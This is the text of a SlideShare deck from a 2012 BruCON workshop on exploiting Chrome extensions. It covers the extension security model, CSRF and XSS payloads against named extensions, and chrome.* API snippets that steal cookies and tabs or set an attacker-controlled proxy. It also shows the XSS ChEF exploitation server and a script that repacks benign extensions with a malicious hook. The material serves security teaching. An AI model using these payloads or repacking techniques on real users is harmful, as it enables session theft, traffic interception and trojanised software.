Advanced Chrome extension exploitation
9 likes9,795 views
Slides from BruCON 2012 workshops "Advanced Chrome Extension exploitation" by Kyle Osborn and Krzysztof Kotowicz
![XSS
ChEF
Launching
server
$ php -v
PHP 5.3.12 (cli) (built: Jun 7 2012 22:49:42)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
with Xdebug v2.2.0, Copyright (c) 2002-2012, by Derick Rethans
$ php server.php 2>command.log
XSS ChEF server
by Krzysztof Kotowicz - kkotowicz at gmail dot com
Usage: php server.php [port=8080] [host=127.0.0.1]
Communication is logged to stderr, use php server.php [port]
2>log.txt
2012-07-22 12:40:06 [info] Server created
2012-07-22 12:40:06 ChEF server is listening on 127.0.0.1:8080
2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Connected
2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Performing
handshake
2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Handshake sent
2012-07-22 12:40:06 New hook c3590977550 from 127.0.0.1
...
36](https://image.slidesharecdn.com/advanced-chrome-extension-exploitation-final-120928051620-phpapp02/85/Advanced-Chrome-extension-exploitation-36-320.jpg)
![API
abuse
• chrome.proxy
-‐
silently
change
HTTP
proxy!
var evilProxy = {
"mode": "fixed_servers",
"rules": {
"bypassList": ["<local>","ATTACKER_DOMAIN.COM"],
// EXCLUDE BACK CHANNEL FROM PROXY
"singleProxy": {
"host": "localhost", // ATTACKER PROXY IP
"port": 8080, // ATTACKER PROXY PORT
"scheme": "http" // ATTACKER PROXY SCHEME
}
}
}
chrome.proxy.settings.set({value: evilProxy, scope:
'regular'}, cb);
46](https://image.slidesharecdn.com/advanced-chrome-extension-exploitation-final-120928051620-phpapp02/85/Advanced-Chrome-extension-exploitation-46-320.jpg)
Ad
More Related Content
What's hot (20)
Viewers also liked (20)
Ad
Similar to Advanced Chrome extension exploitation (20)
![[Wroclaw #2] Web Application Security Headers](https://cdn.slidesharecdn.com/ss_thumbnails/owaspwebapplicationsecurityheaders1-160429210343-thumbnail.jpg?width=560&fit=bounds)
Ad
More from Krzysztof Kotowicz (12)
Recently uploaded (20)
Advanced Chrome extension exploitation
- 1. Advanced Chrome Extension Exploita5on Kyle ‘Kos’ Osborn Krzysztof Kotowicz 1
- 2. Introduc5on • Krzysztof Kotowicz – IT security consultant at SecuRing – h<p://blog.kotowicz.net – @kkotowicz • Kyle Osborn – Pentester at AppSec ConsulFng – h<p://kyleosborn.com/ – @theKos 2
- 3. Previous research • Kyle Osborn, Ma< Johansen – Hacking Google ChromeOS (BH 2011) • N. Carlini, A. Porter Felt, D. Wagner -‐ UC Berkeley – An EvaluaFon of the Google Chrome Extension Security Architecture h<p://www.eecs.berkeley.edu/~afelt/ extensionvulnerabiliFes.pdf • Krzysztof Kotowicz – h<p://blog.kotowicz.net/2012/02/intro-‐to-‐chrome-‐addons-‐ hacking.html 3
- 4. Plan • Briefing – Chrome extensions security 101 – Abusing Chrome extensions – Easy exploitaFon – Using XSS ChEF • Workshops – all of the above in pracFce & more – h<p://kotowicz.net/brucon/ 4
- 6. Chrome extensions security • Extensions are HTML5 applicaFons packaged in signed .crx files • chrome-‐extension://<id> URLs • Have access to powerful API – chrome.tabs – chrome.history – chrome.cookies – chrome.proxy – bundled plugins (NPAPI) • Permissions defined in manifest.json 6
- 7. Chrome extensions security • Extensions have a lot of power to abuse • How bad can it be? Think... – global XSS – idenFty thec (bookmarks, history, cookies) – filesystem access – remote code execuFon (meterpreter) 7
- 8. Chrome extensions security Content script • Can interact with webpage DOM – e.g. execute Javascript – isolated worlds for page JS / content script JS • No access to chrome.* API 8
- 9. Chrome extensions security View pages • Have access to chrome.* API • No access to webpage DOM • Content scripts and view pages can only exchange messages • Examples: – opFon pages – new tabs – popups 9
- 10. Chrome extensions security Background page • View page that runs constantly • Has access to chrome.* API • The UlPmate Target 10
- 11. Chrome extensions security • Currently, Chrome extension security is very reliant on the developer – WriFng bad code is easy – Giving extensions more permissions than necessary is easier • Extensions suffer from common web vulnerabili5es 11
- 12. Chrome extensions security • XSS: page DOM has a vector that is grabbed and executed by extension <link rel="alternate" type="application/rss+xml" title="hello <img src=x onerror='alert(1)'>" href="/rss.rss"> • CSRF: Page directly requests extension URLs <iframe src="chrome-‐extension://<id>/pages/ subscribe.html?location=//evil/whitelist"></iframe> 12
- 13. Chrome extensions security • NPAPI plugins vulns – Extensions can use NPAPI plugins (.dll, .so etc.) – Those run outside of Chrome sandboxes – Full permissions of current OS user – Possible vulns: RCE, buffer overflows, path disclosures, command injecFons, ... • Manual review by Google if plugin is used 13
- 14. Chrome extensions security • Content-‐Security-‐Policy prevents XSS • Chrome supports CSP in the webpages X-Content-Security-Policy, X-WebKit-CSP • Chrome supports CSP in extensions content_security_policy in manifest • But... 14
- 15. Extensions vs CSP in webpage • Total CSP bypass – You can inject any code via extension chrome.tabs.executeScript(null, {code:“alert(1)”}) – Injected code: • is same origin with the page (document.cookie etc.) • can communicate with view pages (chrome.extension.sendMessage) 15
- 16. Extensions vs CSP in manifest • Cannot execute arbitrary code • Even CSP in extension + CSP in webpage does not make you 100% safe! – You can pivot the a<ack through webpage – You need addiFonal vulnerabiliFes to exploit this 16
- 17. Chrome extensions security • Most commonly vulnerable – RSS readers – Note extensions – Web Developer extensions 17
- 18. Chrome extensions security manifest.json • Defines resources, permissions, name etc. • v1 – insecure, but everyone uses it • v2 – Secure Content-‐Security-‐Policy by default (no XSS!) – Pages cannot access extension URLs (no CSRF!) – Unpopular • 26 out of top 1000 extensions – Will be enforced in Q3 2013 18
- 19. Chrome extensions security Installa5on Methods • Chrome Web Store – curated by Google • .crx install from any website (prompts user) – Chrome 21 makes off-‐store installs harder • Drag & drop .crx to chrome://extensions • Or use --enable-easy-off-store-extension-install flag • MiTM not possible due to cerFficate signing 19
- 20. ABUSING CHROME EXTENSIONS 20
- 21. Fingerprin5ng • The simplest method – Generate a list of known extension IDs, and bruteforce chrome-‐extension://ID/ resources to discovered extensions – use onerror/onload to check for existence • hZp://blog.kotowicz.net/2012/02/intro-‐to-‐ chrome-‐addons-‐hacking.html 21
- 22. CSRF -‐ example • Chrome Adblock 2.5.22 – Extension UI uses pages/subscribe.html – pages/subscribe.html?locaFon=url will subscribe to new block list var queryparts = parseUri.parseSearch(document.location.search); BGcall("subscribe", {id: 'url:' + queryparts.location}); • Can be called by any webpage <iframe src="chrome-extension://<id>/pages/ subscribe.html?location=//evil/whitelist"> 22
- 23. XSS -‐ example • Slick RSS + Slick RSS: Feed Finder – simple injecFon locaFon (<link> tag Ftle) <link rel="alternate" type="application/rss+xml" title="hello <img src=x onerror='payload'>" href="/rss.rss"> 23
- 24. Leveraging XSS • Vector in page => XSS in content script – No access to chrome.* API – Only chrome.extension.* • e.g. chrome.extension.connect & chrome.extension.sendMessage to communicate – Need to elevate to view script • From view script chrome.extension .getBackgroundPage() .eval(”mwahahahahaaaaa!”) 24
- 25. XSS -‐ example 25
- 26. NPAPI vulns -‐ example • CR-‐GPG 0.7.8 (gpg-‐gmail bridge) • GPG in gmail??? 26
- 27. NPAPI vulns -‐ example • Uses external gpg install through NPAPI plugin • Long story short: – Easy to get from this: 27
- 28. NPAPI vulns -‐ example • To this: 28
- 29. NPAPI vulns -‐ example • To this: 29
- 30. NPAPI vulns -‐ example • To this: 30
- 31. EASY EXPLOITATION 31
- 32. Easy exploita5on • alert(1) -‐ Now what? • Use an automated tool to pillage and plunder • BeEF does a great job hooking into DOMs • But – Need a special tool designed to take advantage of Chrome extension APIs 32
- 33. Easy exploita5on • Enter XSS ChEF (Chrome Extension Exploita2on Framework) – Designed from the ground up for exploiFng extensions – Fast (uses WebSockets) – Preloaded with automated a<ack scripts 33
- 34. Easy exploita5on • Monitor open tabs of vicPms • Execute JS on every tab • Extract HTML • Read/write cookies • Access localStorage • Manipulate browser history • Take screenshots of tabs • Inject BeEF hooks / keyloggers 34
- 35. USING XSS CHEF 35
- 36. XSS ChEF Launching server $ php -v PHP 5.3.12 (cli) (built: Jun 7 2012 22:49:42) Copyright (c) 1997-2012 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies with Xdebug v2.2.0, Copyright (c) 2002-2012, by Derick Rethans $ php server.php 2>command.log XSS ChEF server by Krzysztof Kotowicz - kkotowicz at gmail dot com Usage: php server.php [port=8080] [host=127.0.0.1] Communication is logged to stderr, use php server.php [port] 2>log.txt 2012-07-22 12:40:06 [info] Server created 2012-07-22 12:40:06 ChEF server is listening on 127.0.0.1:8080 2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Connected 2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Performing handshake 2012-07-22 12:40:06 [info] [client 127.0.0.1:60431] Handshake sent 2012-07-22 12:40:06 New hook c3590977550 from 127.0.0.1 ... 36
- 37. XSS ChEF Console 37
- 38. XSS ChEF Hook code 38
- 39. XSS ChEF 39
- 40. XSS ChEF 40
- 41. XSS ChEF 41
- 42. API abuse • chrome.tabs.query -‐ gets access to all tabs URLs (even incognito!), Ptles, documents etc. chrome.tabs.query({}, function(t) { log({type: 'report_tabs','result':t}); }); 42
- 43. API abuse • chrome.tabs.executeScript -‐ global XSS on any tab • bypasses CSP chrome.tabs.executeScript(null, { code:"alert(document.cookie)" }); 43
- 44. API abuse • chrome.tabs.captureVisibleTab chrome.tabs.captureVisibleTab(null,null, function(data_url) { log({type:'recvscreenshot', url: data_url}); }); 44
- 45. API abuse • chrome.cookies – read/write cookies, even h<pOnly chrome.cookies.getAll({url: chrome.cookies.set({ "https://www.google.com/"}, cb); url: 'https://www.google.com/', name: 'test-chef', value: 'test-ok', {"domain": ".google.com", secure: true, "expirationDate": 1358717774.49, httpOnly: true, "hostOnly": false, expirationDate: null, "httpOnly": true, path: '/' "name": "NID", }, cb); "path": "/", "secure": false, "session": false, "storeId": "0", "value": "61=...." },... 45
- 46. API abuse • chrome.proxy -‐ silently change HTTP proxy! var evilProxy = { "mode": "fixed_servers", "rules": { "bypassList": ["<local>","ATTACKER_DOMAIN.COM"], // EXCLUDE BACK CHANNEL FROM PROXY "singleProxy": { "host": "localhost", // ATTACKER PROXY IP "port": 8080, // ATTACKER PROXY PORT "scheme": "http" // ATTACKER PROXY SCHEME } } } chrome.proxy.settings.set({value: evilProxy, scope: 'regular'}, cb); 46
- 47. API abuse • chrome.bookmarks -‐ interact with bookmarks chrome.bookmarks.search("http", cb); {"dateAdded": 1342946320, "id": "123", "index": 0, "parentId": "21", "title": "GMail", "url": "https://mail.google.com/"} 47
- 48. Pre-‐Workshop Info • Requirements – Latest version of XSS ChEF required (w/ dependencies) • PHP 5.3 + HTTP server, opFonally node.js • unzip, curl • Only heavily tested under OS X & Linux – Chrome – Selected extensions • All links can be found on hdp://kotowicz.net/brucon 48
- 50. Workshop • Part one: ExploitaPon – Discovery – AutomaFon • Part two: Repacking – Leveraging the human factor 50
- 51. Part one: Exploita5on • Slick RSS • Slick RSS: Feed Finder 51
- 52. Part one: Exploita5on • Web Developer 52
- 53. Part one: Exploita5on • Springpad Extension 53
- 54. Part one: Exploita5on • Cookie Manager 54
- 55. Part one: Exploita5on • cr-‐gpg 55
- 56. Part Two: Repacking • Wanted to get MORE privileges • UPlizes “click-‐through-‐syndrome” • You can repack any other benign extension, adding malicious part (e.g. XSS chef hook) 56
- 57. Part Two: Repacking $ ./repacker-webstore.sh <ID> output.crx Unpacking ... Injecting xsschef... Adding permissions... Saving... Done. Moving signed extension to output.crx 57